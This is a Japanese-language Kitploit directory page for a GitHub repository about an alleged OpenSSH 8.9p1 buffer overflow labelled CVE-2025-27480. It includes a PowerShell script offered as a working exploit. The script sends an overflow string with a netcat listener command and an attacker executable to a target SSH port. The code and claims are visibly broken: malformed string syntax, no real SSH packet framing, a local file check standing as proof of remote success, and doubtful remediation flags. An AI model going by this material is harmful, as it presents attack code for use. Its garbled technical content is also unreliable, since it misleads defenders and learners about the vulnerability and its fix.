Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-27480 — CVE-2025-27480は、不正なSSH_USERAUTHパケットを介してOpenSSH 8.9p1のバッファオーバーフローを引き起こします。攻撃者はシェルコードを注入してSYSTEMレベルのアクセスを取得し、踏み台ホストや後続のCI/CDエージェントを侵害する可能性があります。この記事には、サンプルのエクスプロイトコードとパッチ適用のガイダンスが含まれています。 | Kitploit
ツール/GitHubGitHub/mrk336/cve-2025-27480
脆弱性分析エクスプロイトシェルコードペネトレーションテスト学習と教育リモートアクセスツールペイロード開発バイナリエクスプロイト
GitHubmrk336/cve-2025-27480

CVE-2025-27480

CVE-2025-27480は、不正なSSH_USERAUTHパケットを介してOpenSSH 8.9p1のバッファオーバーフローを引き起こします。攻撃者はシェルコードを注入してSYSTEMレベルのアクセスを取得し、踏み台ホストや後続のCI/CDエージェントを侵害する可能性があります。この記事には、サンプルのエクスプロイトコードとパッチ適用のガイダンスが含まれています。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-27480

CVE‑2025‑27480 – OpenSSH におけるリモートコード実行

この脆弱性の概要

OpenSSH バージョン 8.9p1 には、SSH_USERAUTH パケットを解析する際に発生する、微妙なバッファオーバーフローのバグがあります。クライアントは 非常に 長い「user」フィールドを含むパケットを送信でき、そのデータはメモリ内の誤った場所に格納されます。その結果、攻撃者は任意のシェルコードを注入でき、そのバージョンの OpenSSH を実行している任意のホスト上で SYSTEM 権限で実行されます。では、なぜデジャヴを感じるのでしょうか? それは、CVE‑2024‑13401 という非常に似た脆弱性が原因です。この脆弱性により user フィールドの境界チェックが欠如し、攻撃者は SSH プロセスに任意のコードを書き込むことができました。

この欠陥が重要なのは、SSH がクラウド環境で仮想マシンをブートストラップして管理する最も一般的な方法だからです。攻撃者が SSH を介してコードを実行できる場合、バックドアをインストールしたり、bastion ホストを侵害したりする可能性があります。bastion ホストは、プライベートネットワーク内の他のインスタンスに到達するために使用するジャンプポイントです。bastion ホストが侵害されると、それに依存するすべての下流ワークロード(例:イメージをビルドしたりテストを実行したりする CI/CD エージェント)が危険にさらされます。

CI/CD は Continuous Integration/Continuous Delivery の略です。この文脈では、bastion ホストは、すべてのビルドエージェントがプライベートネットワーク内の他のマシンに到達するために使用する、SSH 対応の「ジャンプ」サーバーです。これは重要なエントリポイントです。bastion が侵害されると、それに依存するすべての下流ジョブが攻撃される可能性があります。

エクスプロイト

以下は、悪意のあるパケットを作成して送信する方法を示す簡単な PowerShell スクリプトです。

root@kitploit:~
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" +                     # packet header – the first line
("A" * 2000) +                               # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@

# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)

# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
    Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}

なぜこれが機能するのか

  1. 最初の行(ssh-userauth-attack)は、パケットがユーザー認証要求であることを OpenSSH に伝えます。
  2. 2000 個の「A」バイトを送信することで、user フィールドの意図された境界を意図的に超えてデータを押し出します。
  3. 文字列の最後の部分は nc.exe を起動し、ポート 4444 で netcat リスナーを開き、その出力を C:\Windows\Temp\revshell.txt に書き込みます。また、攻撃者が用意した実行可能ファイル(bar_exp.exe)を呼び出して、さらなる作業(例:リバースシェルの投入)を行うことができます。

エクスプロイトによって作成されたファイルは、パケットがメモリ内の正しい場所に到達した証拠です。そこからポート 4444 を開き、リスナーを取得して、任意のスクリプトを実行できます。

修復策

  • ネットワークファイアウォールルールにパッチを適用 – 信頼できる管理者のパブリック IP からの SSH アクセスのみを許可します。
  • OpenSSH にパッチを適用 – バージョン 8.9p2 にアップグレードするか、‑DUSERAUTH_BUF=4096 フラグを使用してリビルドし、バッファサイズをオーバーフローペイロードより大きくします。
  • ベンダーのパッチを適用 – ベンダーのアドバイザリにある差分ファイル(ssh_userauth_patch.diff)をリポジトリの隣にコミットできます。
ツールをダウンロード